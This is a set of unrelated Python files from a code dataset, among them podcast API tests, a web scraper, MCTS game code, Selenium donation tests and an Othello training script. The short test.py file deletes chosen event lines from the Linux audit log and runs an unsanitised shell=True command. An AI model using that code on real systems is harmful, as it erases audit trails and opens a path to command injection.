\"w\",\n ) as f:\n f.write(\"tesdasdas\")\n pp = PopularPodcast(podcast_id=p.id, views=99)\n for _ in range(4):\n v = View(podcast_id=p.id)\n db.session.add(v)\n db.session.add(pp)\n db.session.commit()\n\n with self.client:\n res = self.client.delete(\n \"/api/podcasts/{}\".format(p.id),\n content_type=\"application/json\",\n headers=dict(authToken=\"Bearer \" + self.user.generate_auth_token()),\n )\n self.assertEqual(res.status_code, 200)\n\n check = Podcast.query.filter_by(id=p.id).first()\n check_v = View.query.filter_by(podcast_id=p.id).all()\n self.assertFalse(check)\n self.assertEqual(len(check_v), 0)\n\n # TODO: add missing tests\n # def test_podcast_update_when_owner(self):\n # data = dict(\n # title='title1',\n # description=\"lorem ipsum dolor sit\",\n # )\n # data = {key: str(value) for key, value in data.items()}\n # data['audio_file'] = self.generate_dummy_podcast_file()\n # response = self.client.post(\n # '/podcasts',\n # data=data,\n # content_type='multipart/form-data',\n # headers=dict(\n # authToken='Bearer ' + self.user.generate_auth_token()\n # ),\n # )\n # data = json.loads(response.data.decode())\n # self.assertEqual(response.status_code, 201)\n #\n # patch_res = self.client.patch(\n # '/podcasts/' + str(data['id']),\n # headers=dict(\n # authToken='Bearer ' + self.user.generate_auth_token()\n # ),\n # data=json.dumps(\n # {'title': 'updated'}\n # ),\n # content_type='application/json'\n # )\n # patch_data = json.loads(patch_res.data.decode())\n # self.assertEqual(patch_res.status_code, 200)\n # self.assertEqual(patch_res.content_type, 'application/json')\n # self.assertIn('.mp3', patch_data.get('audio_file'))\n # self.assertEqual(patch_data.get('title'), 'updated')\n #\n # def test_podcast_update_when_not_owner(self):\n # data = dict(\n # title='title1',\n # description=\"lorem ipsum dolor sit\",\n # )\n # data = {key: str(value) for key, value in data.items()}\n # data['audio_file'] = self.generate_dummy_podcast_file()\n # response = self.client.post(\n # '/podcasts',\n # data=data,\n # content_type='multipart/form-data',\n # headers=dict(\n # authToken='Bearer ' + self.user.generate_auth_token()\n # ),\n # )\n # data = json.loads(response.data.decode())\n # self.assertEqual(response.status_code, 201)\n #\n # user = User(email='email@mail.com', password='password', username='username')\n # db.session.add(user)\n # db.session.commit()\n #\n # patch_res = self.client.patch(\n # '/podcasts/' + str(data['id']),\n # headers=dict(\n # authToken='Bearer ' + user.generate_auth_token()\n # ),\n # data=json.dumps(\n # {'title': 'updated'}\n # ),\n # content_type='application/json'\n # )\n # self.assertEqual(patch_res.status_code, 403)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"app/tests/endpoints/test_podcasts.py","file_name":"test_podcasts.py","file_ext":"py","file_size_in_byte":10248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"113659730","text":"import subprocess\n\nPATH_AUDIT_LOG = \"/var/log/audit/audit.log\"\n\n\ndef del_event(event_id):\n key_word = \":\" + str(event_id) + \"):\"\n try:\n with open(PATH_AUDIT_LOG, 'r') as f_in:\n lines = f_in.readlines()\n with open(PATH_AUDIT_LOG, 'w') as f_out:\n for line in lines:\n if line.strip(\"\\n\").find(key_word) == -1:\n f_out.write(line)\n except Exception as e:\n print(e)\n\n\n# del_event(568)\ndef read_audit_log(path_file):\n print(path_file)\n # cmd = \"ausearch -f \" + path_file + \" -ts today | aureport -i -f\"\n cmd = \"ausearch -f \" + path_file + \" -ts 01/08/2020 10:03:16 | aureport -i -f\"\n print(cmd, 123)\n p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n result = p.stdout.read().decode()\n print(result)\n print(1234)\n\n\npath_object = \"/home/bkcs/Desktop/dong\"\nread_audit_log(path_object)\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"539101747","text":"\"\"\"Scrape admission outcomes data from The Grad Cafe.\"\"\"\n\n\nimport json\nfrom string import printable\n\nimport bs4\nimport requests\n\n\nROOT_URL = 'http://thegradcafe.com/survey/index.php'\n\n\ndef get_results(url, payload):\n \"\"\"Gets the results table from a GradCafe webpage.\"\"\"\n r = requests.get(url, params=payload)\n soup = bs4.BeautifulSoup(r.text)\n results = soup.find('table', {'class': 'results'}).find_all('tr')\n del results[0] # Drop header row\n return results\n\n\nclass Result(object):\n def __init__(self, row):\n self.cells = row.find_all('td')\n try:\n self.get_scores()\n except AttributeError:\n pass\n self.cells = [i.text for i in self.cells]\n self.institution = self.cells[0]\n self.program = self.cells[1]\n self.outcome = self.cells[2]\n self.degree = self.cells[3]\n self.date = self.cells[4]\n self.comment = self.cells[5]\n del self.cells # Not JSON serializable\n\n def _number(self, val):\n try:\n return int(val)\n except ValueError:\n return float(val)\n\n def get_scores(self):\n # Find tag containing scores.\n tag = self.cells[2].find('a', {'class': 'extinfo'}).find('span')\n scores = [i.lstrip(': ') for i in list(tag)[1::3]]\n gpa, gre, subject = [None if i == 'n/a' else i for i in scores]\n if gpa:\n self.gpa = self._number(gpa)\n if gre:\n self.verbal, self.quant, self.writing = \\\n [self._number(i) for i in gre.split('/')]\n # Delete tag containing scores.\n tag.decompose()\n\n\ndef main():\n with open('data/raw', 'w') as f:\n for page in (1, 2, 3, 4):\n payload = {'q': 'political+science', # Query\n 't': 'a', # ??\n 'o': None, # ??\n 'pp': 250, # Results per page\n 'p': page} # Page number\n results = get_results(ROOT_URL, payload)\n for result in results:\n result = Result(result)\n f.write('{}\\n'.format(json.dumps(result.__dict__)))\n\n\nif __name__ == '__main__':\n main()\n\n\n","sub_path":"1a_scrape_results.py","file_name":"1a_scrape_results.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"577471744","text":"import random\nimport sys\nfrom load import load_numbers\n\nnumbers = load_numbers(sys.argv[1])\n\n\ndef is_sorted(list):\n for index in range(len(list) - 1):\n if list[index] > list[index + 1]:\n return False\n return True\n\n\ndef bogo_sort(values):\n attempts = 0\n while not is_sorted(values):\n print(attempts)\n random.shuffle(values)\n attempts += 1\n return values\n\n\nprint(bogo_sort(numbers))\n","sub_path":"bogo_sort.py","file_name":"bogo_sort.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"505661559","text":"import DefineBoard\nimport DefineRule\nimport Deal_data\nimport API\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport basic_data\n\n\nsize = basic_data.size\n\ndef check_value_valuepolicy():\n\n value = 0\n policy = []\n for i in range(size*size):\n policy.append(1/(size * size))\n\n return value,policy\n\n\ndef MCTS_search_pointer(D,parent_pointer,choice_move):\n\n New_D = parent_pointer[D][choice_move - 1]\n if New_D == 0:\n New_D = -1\n\n return New_D\n\n\n\nclass MCTS():\n def __init__(self):\n self.MoveHistory = []\n self.parent = []\n self.parent_father = []\n self.parent_pointer = []\n self.children_node_result = [] # game result\n self.children = [] # [[[total_value],[visit],[Q_action],[possibility]],[...],...]\n self.possibility = []\n self.D = 0\n self.GoWhere = []\n self.Dir = 0.3\n self.DirConst = 0.25\n self.Expansion = 1\n self.state = 0\n self.win_result = 0\n\n def state_init(self):\n self.MoveHistory = []\n self.parent = []\n self.children = [] # [[[total_value],[visit],[Q_action],[possibility]],[...],...]\n self.possibility = []\n self.D = 0\n\n\n def Search_with_UCB(self,MoveHistory,board,dirichlet = False):\n\n self.GoWhere = [-1]\n self.MoveHistory = API.ArraytoArray(MoveHistory)\n self.win_result = 0\n self.D = 0\n self.state = 0\n Now_search_PossiveMove = 0\n Now_search_Board = API.ArraytoArray_2D(board)\n new_D = -1\n if len(self.parent) == 0:\n #init\n self.parent.append([-1])\n self.parent_father.append(-1)\n self.state = 1\n self.children_node_result.append(-1)\n Now_search_PossiveMove = DefineRule.PossibleMove(board=Now_search_Board)\n\n\n else:\n\n while self.state == 0:\n\n #search with UTC\n UTC = []\n tot_visit_node = 1\n self.children_node_result.append(-1)\n for i in range(size * size):\n tot_visit_node += self.children[self.D][1][i]\n\n Possibility = API.ArraytoArray(Array=self.children[self.D][3])\n p_= API.ArraytoArray(Array=self.children[self.D][3])\n if dirichlet == True:\n noisy_p = np.random.dirichlet(self.Dir*np.ones(len(Possibility)))\n\n if len(self.GoWhere) == 1:\n for i in range(size * size):\n Possibility[i] = (1 - self.DirConst) * Possibility[i] + self.DirConst * noisy_p[i]\n\n for i in range(size * size):\n if p_[i] == 0:\n UTC.append(-1)\n else:\n UTC.append(self.children[self.D][2][i] + self.Expansion * (Possibility[i]*pow(tot_visit_node,0.5)) / (1 + self.children[self.D][1][i]))\n\n ch = API.FindArrayMax(UTC) + 1\n self.MoveHistory.append(ch)\n self.GoWhere.append(ch)\n\n #link\n new_D = MCTS_search_pointer(self.D,self.parent_pointer,ch)\n if new_D == -1:\n self.parent_father.append(self.D)\n self.parent_pointer[self.D][ch - 1] = len(self.parent_pointer)\n self.D = new_D\n\n Now_search_Board = DefineRule.MoveSet(board=Now_search_Board,point=API._trans_points(inputs=ch),WhoseTurn=(len(self.MoveHistory) + 1)% 2 + 1)\n\n\n\n if self.D == -1:\n\n self.state = 1\n self.win_result = DefineRule.CheckWin(board=Now_search_Board,point=API._trans_points(ch))\n GoWhere = API.ArraytoArray(Array=self.GoWhere)\n self.parent.append(GoWhere)\n Now_search_PossiveMove = DefineRule.PossibleMove(board=Now_search_Board)\n\n #New node\n else:\n if self.children_node_result[self.D] == -1:\n self.win_result = DefineRule.CheckWin(board=Now_search_Board,point=API._trans_points(ch))\n self.children_node_result[self.D] = self.win_result\n else:\n self.win_result = self.children_node_result[self.D]\n\n if self.win_result != 0:\n self.state = 2\n Now_search_PossiveMove = DefineRule.PossibleMove(board=Now_search_Board)\n # End node\n\n\n return Deal_data.CreateInputData_byBoard(board=Now_search_Board,MoveHistory=self.MoveHistory),self.state,Now_search_PossiveMove\n\n\n\n def GetScore(self,Net_value,Net_policy):\n\n value = 0\n policy = []\n\n if self.state == 1:\n\n if self.win_result == 0:\n\n value = Net_value.tolist()\n policy = API.ArraytoArray(Array=Net_policy.tolist())\n\n else:\n if self.win_result == 1:\n value = 1\n elif self.win_result == 2:\n value = -1\n\n if len(self.MoveHistory) % 2 == 0:\n value *= -1\n\n for i in range(size * size):\n policy.append(0)\n\n elif self.state == 2:\n #add zero value\n if self.win_result == 1:\n value = 1\n elif self.win_result == 2:\n value = -1\n if len(self.MoveHistory) % 2 == 0:\n value *= -1\n\n for i in range(size* size):\n policy.append(0)\n\n return value,policy\n\n\n\n\n def Feedback(self,value,policy):\n if self.state == 1:\n total_value_zero = API.Get_zero_array()\n visit_zero = API.Get_zero_array()\n Q_action_zero = API.Get_zero_array()\n\n children_update = []\n\n children_update.append(total_value_zero)\n children_update.append(visit_zero,)\n children_update.append(Q_action_zero)\n children_update.append(policy)\n self.children.append(children_update)\n self.parent_pointer.append(API.Get_zero_array())\n\n in_value = value\n\n while len(self.GoWhere) > 1:\n\n\n\n PreGoWhere = self.GoWhere[len(self.GoWhere) - 1] - 1\n self.GoWhere.pop()\n\n self.D = self.parent_father[self.D]\n\n self.children[self.D][0][PreGoWhere] += in_value\n self.children[self.D][1][PreGoWhere] += 1\n self.children[self.D][2][PreGoWhere] = self.children[self.D][0][PreGoWhere] / self.children[self.D][1][PreGoWhere]\n in_value *= -1\n\n\n\n def ReturePolicy(self):\n move_count = len(self.MoveHistory)\n GetPolicy = API.GetPolicy(self.children[0][1],move_count)\n\n return GetPolicy\n\n\n def RetureMove(self,random_move = False,show_MCTS_data = False,policy_image_show = False):\n\n if random_move == True:\n move_count = len(self.MoveHistory)\n GetPolicy = API.GetPolicy(self.children[0][1],move_count)\n move_ch = np.random.choice(a = DefineBoard.size * DefineBoard.size ,size=1,replace=False,p = GetPolicy)\n move = move_ch[0] + 1\n else:\n move = API.FindArrayMax(Array=self.children[0][1]) + 1\n\n if show_MCTS_data == True:\n move_point = API._trans_points(move)\n #print(self.parent)\n #print(self.children[0][1])\n #print(self.children[0][2])\n #print(self.children[0][3])\n print(\"move :\",move_point)\n print('move visit',self.children[0][1][move - 1])\n print(\"move action value :\",self.children[0][2][move - 1])\n print('move probility : ',self.children[0][3][move - 1])\n\n if policy_image_show == True:\n policy_image = np.array(API.line_to_square(line = self.children[0][3]))\n plt.imshow(policy_image)\n plt.show()\n\n\n return move\n","sub_path":"MCTS.py","file_name":"MCTS.py","file_ext":"py","file_size_in_byte":8025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"113015930","text":"from django.shortcuts import render\nfrom django.views.generic import TemplateView\n\n# Create your views here.\nclass HomePageView(TemplateView):\n def get(self, request, **kwargs):\n person = {\n 'name': 'Sesame Developer',\n 'gender': 'female',\n 'company': 'Main Movers'\n }\n services = ['Packing', 'Moving', 'Arranging', 'Home decor']\n return render(request, \"index.html\", person)\n","sub_path":"haven/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"597885229","text":"# -*- coding: utf-8 -*-\n\"\"\"\nFunctional tests using Selenium.\n\nSee: ``docs/testing/selenium.rst`` for details.\n\"\"\"\nimport time\nfrom bluebottle.bb_projects.models import ProjectPhase\n\nfrom django.conf import settings\nfrom django.utils.text import slugify\nfrom django.utils.unittest.case import skipUnless\nfrom onepercentclub.tests.factory_models.donation_factories import DonationFactory\nfrom onepercentclub.tests.utils import OnePercentSeleniumTestCase\n\nfrom bluebottle.test.factory_models.accounts import BlueBottleUserFactory\nfrom onepercentclub.tests.factory_models.project_factories import OnePercentProjectFactory\n\n\n@skipUnless(getattr(settings, 'SELENIUM_TESTS', False),\n 'Selenium tests disabled. Set SELENIUM_TESTS = True in your settings.py to enable.')\nclass DonationSeleniumTests(OnePercentSeleniumTestCase):\n \"\"\"\n Selenium tests for Projects.\n \"\"\"\n\n fixtures = ['region_subregion_country_data.json'] # apps/geo/fixtures/\n\n def setUp(self):\n\n self.init_projects()\n self.phase_campaign = ProjectPhase.objects.get(slug='campaign')\n\n self._projects = []\n self.projects = dict([(slugify(title), title) for title in [\n u'Women first', u'Mobile payments for everyone!', u'Schools for children'\n ]])\n\n for slug, title in self.projects.items():\n project = OnePercentProjectFactory.create(title=title, slug=slug, amount_asked=500)\n self._projects.append(project)\n\n project.amount_donated = 500 # EUR 5.00\n project.status = self.phase_campaign\n project.save()\n\n self.some_user = BlueBottleUserFactory.create()\n self.another_user = BlueBottleUserFactory.create()\n\n self.donate_details = {'firstname': 'Pietje',\n 'lastname': 'Paulusma',\n 'email': 'pietje@example.com',\n 'address': 'Herengracht 416',\n 'postcode': '1017BZ',\n 'city': 'Amsterdam',\n 'country': 'NL'}\n\n def visit_project_list_page(self, lang_code=None):\n self.visit_path('/projects', lang_code)\n\n self.assertTrue(self.browser.is_element_present_by_css('.project-item'),\n 'Cannot load the project list page.')\n\n def test_view_project_page_with_donation(self):\n \"\"\"\n Test project donation by an anonymous user\n \"\"\"\n self.visit_path('/projects/women-first')\n self.assertTrue(self.browser.is_text_present('WOMEN FIRST', wait_time=10))\n self.assertEqual(self.browser.find_by_css('h1.project-title').first.text, u'WOMEN FIRST')\n\n donation_status_text = self.browser.find_by_css('.project-fund-amount').first.text\n\n self.assertTrue(u'SUPPORT PROJECT' in self.browser.find_by_css('div.project-action').first.text)\n\n # Click through to the support-page, check the default values and\n # verify we are donating to the correct project\n self.browser.find_by_css('div.project-action a').first.click()\n\n self.assertTrue(self.browser.is_text_present('LIKE TO GIVE', wait_time=10))\n\n self.assertEqual(self.browser.find_by_css('h2.project-title').first.text[:11], u'WOMEN FIRST')\n\n self.assertEqual(self.browser.find_by_css('.fund-amount-control label').first.text, u\"I'D LIKE TO GIVE\")\n self.assertTrue(u'500' in self.browser.find_by_css('.fund-amount-needed').first.text)\n input_field = self.browser.find_by_css('.fund-amount-input').first\n self.assertEqual(input_field['value'], u'20')\n\n # Change the amount we want to donate\n\n # TODO: Verify we can change the amount to donate, this currently\n # doesn't work properly via Selenium: Doing the following gives me a 500:\n # TypeError: Cannot convert None to Decimal.\n\n # input_field.click()\n # input_field.fill(40)\n\n # TODO: Currently two donation-entries are added by default... I'm not sure why\n\n # Check the total and make sure there is only one donation entry\n # self.assertTrue(self.browser.find_by_css('.donation-total .currency').first.text.find(' 20') != -1)\n # self.assertTrue(len(self.browser.find_by_css('ul#donation-projects li.donation-project')) == 1)\n\n # Continue with our donation, fill in the details\n\n self.browser.find_by_css('.btn-next').first.click()\n self.assertTrue(self.browser.is_text_present('Your full name', wait_time=1))\n\n # NOTE: making use of fill_form_by_css() might be a better idea\n\n fields = self.browser.find_by_css('input[type=text]')\n firstname = fields[0]\n lastname = fields[1]\n email = fields[2]\n address = fields[3]\n postcode = fields[4]\n city = fields[5]\n\n self.assertEqual(firstname['placeholder'], u'First name')\n self.assertEqual(lastname['placeholder'], u'Last name')\n self.assertEqual(email['placeholder'], u'Email')\n self.assertEqual(address['placeholder'], u'Address')\n self.assertEqual(postcode['placeholder'], u'Postal code')\n self.assertEqual(city['placeholder'], u'City')\n\n firstname.fill(self.donate_details['firstname'])\n lastname.fill(self.donate_details['lastname'])\n email.fill(self.donate_details['email'])\n address.fill(self.donate_details['address'])\n postcode.fill(self.donate_details['postcode'])\n city.fill(self.donate_details['city'])\n\n # Click on the NEXT button\n self.browser.find_by_css('button.btn-next').first.click()\n\n # FIXME: These tests fail on Travis.\n # self.assertTrue(self.browser.is_element_present_by_css('.btn-skip', wait_time=5))\n #\n # # Don't sign up. Skip this form.\n # self.browser.find_by_css('.btn-skip').first.click()\n #\n # self.assertTrue(self.browser.is_text_present(\"YOU'RE ALMOST THERE!\", wait_time=5))\n #\n # # Proceed with the payment\n # # Select Ideal + ABN Amro for payment\n # time.sleep(2)\n #\n # self.scroll_to_and_click_by_css('.tabs-vertical .radio')\n # self.scroll_to_and_click_by_css('.fund-payment-item .radio')\n\n def test_donation_thank_you_page(self):\n\n self.assertTrue(self.login(username=self.some_user.email, password='testing'))\n\n # Create dummy donation, so we can validate the thank you page.\n donation = DonationFactory.create(user=self.some_user, project=self._projects[0])\n donation.order.status = 'current'\n donation.order.user = self.some_user\n donation.order.closed = None\n\n from apps.cowry_docdata.models import DocDataPaymentOrder\n DocDataPaymentOrder.objects.create(order=donation.order, payment_order_id='dummy')\n\n donation.order.save()\n\n self.visit_path('/support/thanks/{0}'.format(donation.order.pk))\n\n\n # Validate thank you page.\n self.assertTrue(self.browser.is_text_present('WELL, YOU ROCK!'))\n self.assertTrue(self.browser.is_text_present(self._projects[0].title.upper()))\n\n # check that the correct links are present\n self.browser.find_by_css('li.project-list-item a').first.click()\n self.assertEqual(self.browser.url, '{0}/en/#!/projects/{1}'.format(self.live_server_url, self._projects[0].slug))\n","sub_path":"apps/fund/tests/test_functional.py","file_name":"test_functional.py","file_ext":"py","file_size_in_byte":7374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"470897348","text":"# Import the German language class\n# 독일어 클래스를 임포트합니다.\nfrom spacy.lang.____ import ____\n\n# Create the nlp object\n# 독일어 클래스에 대한 nlp 객체를 생성합니다.\nnlp = ____\n\n# Process a text (this is German for: \"Kind regards!\")\n# nlp 객체를 이용해 텍스트를 처리합니다. (본 문장은 독일어로 \"안부를 전합니다!\"라는 의미입니다.)\ndoc = nlp(\"Liebe Grüße!\")\n\n# Print the document text\n# document 객체의 텍스트 속성을 출력합니다.\nprint(____.text)","sub_path":"exercises-kr/exc_01_02_02.py","file_name":"exc_01_02_02.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"435463078","text":"import os\nimport sys\nimport time\nimport uuid\nimport json\nimport dill\nimport numpy as np\nimport glob\nimport random\nimport itertools\nimport argparse\nimport tempfile\nimport torch\nimport torch.nn\nimport torch.optim\nimport torch.distributed\nfrom torch.multiprocessing import Process as torch_Process\nfrom distributed_helpers import *\n\nimport logging\n_handler = logging.StreamHandler(sys.stdout)\n_handler.setLevel(logging.INFO)\nformatter = logging.Formatter('%(asctime)s - %(message)s')\n_handler.setFormatter(formatter)\nrootLogger = logging.getLogger()\nrootLogger.setLevel(logging.INFO)\nrootLogger.addHandler(_handler)\n##########################\n#### HYPERPARAMETERS #####\n##########################\n# idiosyncratic\nBOARD_SIZE = 8\n\n# architecture\nIN_CHANNEL = 7\nFILTER_SIZE_0 = 36\nKERNEL_SIZE = (2, 2)\nSTRIDE = (1, 1)\nTOWER_HEIGHT = 4\nFILTER_SIZE_m1 = 36\nFILTER_SIZE_m2 = 36\nFC_SIZE = 25\n\n# learning\nLEARNING_RATE = 0.001\nMOMENTUM = 0.9\nBATCH_SIZE = 200\nEPOCH_N = 10\n##########################\n##########################\n\n\n##########################\n## NETWORK ARCHITECTURE ##\n##########################\nclass Net(torch.nn.Module):\n\tdef __init__(self):\n\t\tsuper(Net, self).__init__()\n\t\t\n\t\t# N-0\n\t\tself.n0_conv = torch.nn.Conv2d(in_channels=IN_CHANNEL, out_channels=FILTER_SIZE_0, kernel_size=KERNEL_SIZE, stride=STRIDE)\n\t\tself.n0_batch_norm = torch.nn.BatchNorm2d(FILTER_SIZE_0)\n\t\tself.n0_ReLu = torch.nn.ReLU()\t\t\n\t\t\n\t\t# N-mid\n\t\tself.nm_batch_norm0 = torch.nn.BatchNorm2d(FILTER_SIZE_0)\n\t\tself.nm_conv1 = torch.nn.Conv2d(in_channels=FILTER_SIZE_0, out_channels=FILTER_SIZE_m1, kernel_size=KERNEL_SIZE, stride=STRIDE)\n\t\tself.nm_batch_norm1 = torch.nn.BatchNorm2d(FILTER_SIZE_m1)\n\t\tself.nm_ReLu = torch.nn.ReLU()\n\t\tself.nm_conv2 = torch.nn.Conv2d(in_channels=FILTER_SIZE_m1, out_channels=FILTER_SIZE_m2, kernel_size=KERNEL_SIZE, stride=STRIDE)\n\t\tself.nm_batch_norm2 = torch.nn.BatchNorm2d(FILTER_SIZE_m2)\n\t\tself.nm_upsample = torch.nn.ConvTranspose2d((BOARD_SIZE-2)**2, (BOARD_SIZE-2)**2, kernel_size=3)\n\n\t\t# N-end (policy)\n\t\tself.np_conv = torch.nn.Conv2d(in_channels=FILTER_SIZE_0, out_channels=2, kernel_size=(1, 1), stride=STRIDE)\n\t\tself.np_batch_norm = torch.nn.BatchNorm2d(2)\n\t\tself.np_fc = torch.nn.Linear(2*(BOARD_SIZE-1)**2, BOARD_SIZE*BOARD_SIZE) # note: Othello doesn't allow passing voluntarily\n\t\tself.np_softmax = torch.nn.Softmax(dim=1)\n\t\t\n\t\t# N-end (value)\t\t\n\t\tself.nv_conv = torch.nn.Conv2d(in_channels=FILTER_SIZE_0, out_channels=1, kernel_size=(1, 1), stride=STRIDE)\n\t\tself.nv_batch_norm = torch.nn.BatchNorm2d(1)\n\t\tself.nv_ReLu1 = torch.nn.ReLU()\n\t\tself.nv_fc1 = torch.nn.Linear((BOARD_SIZE-1)**2, FC_SIZE)\n\t\tself.nv_ReLu2 = torch.nn.ReLU()\n\t\tself.nv_fc2 = torch.nn.Linear(FC_SIZE, 1)\n\t\tself.nv_tanh = torch.nn.Tanh()\n\t# end def\n\t\n\tdef forward(self, x):\n\t\tout = self.n0_forward(x)\n\t\tfor height in range(TOWER_HEIGHT):\n\t\t\tout = self.nm_forward(out)\n\t\t# end dfor\n\t\t\n\t\tout_p = self.np_forward(out) # policy\n\t\tout_v = self.nv_forward(out) # value\n\t\t\n\t\tout_vec = torch.cat([out_p, out_v], 1)\n\t\treturn out_vec\n\t# end def\n\t\n\t# first, single convolutional block\n\tdef n0_forward(self, x):\n\t\tout = self.n0_conv(x)\n\t\tout = self.n0_batch_norm(out)\n\t\tout = self.n0_ReLu(out)\n\t\treturn out\n\t# end def\n\t\n\t\n\t# ResNet (building block of tower)\n\tdef nm_forward(self, x):\n\t\tshortcut = x\n\t\t\n\t\tout = self.nm_conv1(x)\n\t\tout = self.nm_batch_norm1(out)\n\t\tout = self.nm_ReLu(out)\n\t\tout = self.nm_conv2(out)\n\t\tout = self.nm_batch_norm2(out)\n\t\t\n\t\t# skip connection\n\t\tout = self.nm_upsample(out)\n\t\tout = self.nm_batch_norm0(out)\n\t\tout = out + shortcut\n\n\t\tout = self.nm_ReLu(out)\n\t\treturn out\n\t# end def\n\n\tdef np_forward(self, x):\n\t\tout = self.np_conv(x)\n\t\tout = self.np_batch_norm(out)\n\t\tout = out.view(-1, 2 * IN_CHANNEL * IN_CHANNEL)\n\t\tout = self.np_fc(out)\n\t\tout = self.np_softmax(out) # <- this is added in this implemenation - unsure how would FC gives a logit as described in paper ...\n\t\treturn out\n\t# end def\n\t\n\tdef nv_forward(self, x):\n\t\tout = self.nv_conv(x)\n\t\tout = self.nv_batch_norm(out)\n\t\tout = self.nv_ReLu1(out)\n\t\tout = out.view(-1, 1 * IN_CHANNEL * IN_CHANNEL)\n\t\tout = self.nv_fc1(out)\n\t\tout = self.nv_ReLu2(out)\n\t\tout = self.nv_fc2(out)\n\t\tout = self.nv_tanh(out)\n\t\treturn out\n\t# end def\n# end class\n\n\n##################################################\n### Customized loss function of Zero algorithm ###\n##################################################\nclass AlphaZERO_Loss(torch.nn.Module):\n\tdef __init__(self):\n\t\tsuper(AlphaZERO_Loss,self).__init__()\n\t# end def\n\n\tdef forward(self, outputs, labels):\n\t\t# get the batch size\n\t\tbatch_n = outputs.shape[0]\n\n\t\tmove_probs, pred_vals = torch.split(outputs, [BOARD_SIZE**2, 1], 1)\n\t\tsearch_probs, winners = torch.split(labels , [BOARD_SIZE**2, 1], 1)\n\n\t\t# compute the loss function\n\t\tpi = search_probs.contiguous().view(-1).float()\n\t\tlogp = torch.log(move_probs).contiguous().view(-1).float()\n\n\t\tloss = torch.pow(pred_vals - winners, 2).sum() - pi.dot(logp)\n\t\tloss = loss / batch_n\n\n\t\treturn loss\n\t# end def\n# end class\n##################################################\n##################################################\n\n\n##################################################\n######### Define network and optimizer ###########\n##################################################\ncriterion = AlphaZERO_Loss()\n##################################################\n##################################################\n\n\n\n# parse inputs\nparser = argparse.ArgumentParser(description='Othello DeepLearning Training')\nparser.add_argument('--host', help=\"hostname\", type=str, required=True)\nparser.add_argument('--port', help=\"port\", type=int, required=True)\nparser.add_argument('--worldsize', help=\"number of processes to run\", type=int, required=True)\nparser.add_argument('--inputNet', help=\"input network model (.dill)\", type=str, required=False, default=None)\nparser.add_argument('--inputdir', help=\"input directory\", type=str, required=True)\nparser.add_argument('--outroot', help=\"output model name\", type=str, required=True)\nparser.add_argument('--outdir' , help=\"output directory\", type=str, required=True)\nparser.add_argument('--interval', help=\"Interval (in seconds) to save a model snapshot\", type=int, default=3600)\nparser.add_argument('--infile_N', help=\"number of files taken each time\", type=int, default=100)\nparser.add_argument('--backend', help=\"backend\", choices=(\"tcp\", \"mpi\"), default=\"tcp\")\npars = vars(parser.parse_args())\n\ninputdir = pars['inputdir']\ninfile_N = pars['infile_N']\noutroot = pars['outroot']\noutdir = pars['outdir']\ninterval = pars['interval']\ninputNet = pars['inputNet']\nworld_size = pars['worldsize']\nhost = pars['host']\nport = pars['port']\nbackend = pars['backend']\n\ndef run(rank, size):\n\ttorch.manual_seed(random.randint(0, 9999))\n\n\t# START\n\t# -- initialize model\n\tnet = Net()\n\tif inputNet is not None:\n\t\tnet.load_state_dict(torch.load(inputNet))\n\t# end if\n\t# -- initialize optimizer\n\trootLogger.info(' - initialize optimizer')\n\toptimizer = torch.optim.SGD(net.parameters(), lr=LEARNING_RATE, momentum=MOMENTUM)\n\n\tstime = time.time()\n\twhile True:\n\n\t\trootLogger.info(' - selecting data sets for training')\n\t\tinput_data = []\n\t\t# select input files from directory randomly\n\t\tfiles = glob.glob(inputdir+'/*.json')\n\t\tsel_files = []\n\t\tfor i in range(infile_N):\n\t\t\tsel_file = random.choice(files)\n\t\t\twith open(sel_file, 'r') as fin:\n\t\t\t\t_input_data = json.load(fin)\n\t\t\t\tinput_data.extend(_input_data)\n\t\t\t# end with\n\t\t# end for\n\n\t\t# partition and select the data set\n\t\t# - use equal partition here\n\t\trootLogger.info(' - partition and distributing data')\n\t\tn = torch.distributed.get_world_size()\n\t\tfracs = [1.0/n] * n \n\t\tinput_data = partition_dataset(input_data, fracs)\n\n\n\t\tn = len(input_data) / BATCH_SIZE * EPOCH_N\n\t\tinput_data = itertools.cycle(input_data)\n\n\t\trootLogger.info(' - start training')\n\t\trunning_loss = 0.0\n\t\t_iter = 0\n\t\twhile True:\n\t\t\t_iter += 1\n\t\t\tif _iter > n:\n\t\t\t\tbreak\n\t\t\t# end if\n\n\t\t\tinputs, labels = [[], []]\n\t\t\tfor i in range(BATCH_SIZE):\n\t\t\t\titem = next(input_data)\n\t\t\t\tinputs.append(item[ 'input'])\n\t\t\t\tlabels.append(item['target'])\n\t\t\t# end for\n\t\t\tinputs = torch.from_numpy(np.array(inputs)).float()\n\t\t\tlabels = torch.from_numpy(np.array(labels)).float()\n\n\t\t\t# zero the parameter gradients\n\t\t\toptimizer.zero_grad()\n\n\t\t\t# forward + backward + optimize\n\t\t\toutputs = net(inputs)\n\t\t\tloss = criterion(outputs, labels)\n\t\t\tloss.backward()\n\t\t\taverage_gradients(net)\n\t\t\toptimizer.step()\n\n\t\t\t# print statistics\n\t\t\trunning_loss += loss.item()\n\t\t\tif _iter % 10 == 0:\t# print every 500 mini-batches\n\t\t\t\trootLogger.info('[node %d] [iteration %d] loss: %.3f' % (torch.distributed.get_rank(), _iter, running_loss / 500))\n\t\t\t\trunning_loss = 0.0\n\t\t\t# end if\n\t\t# 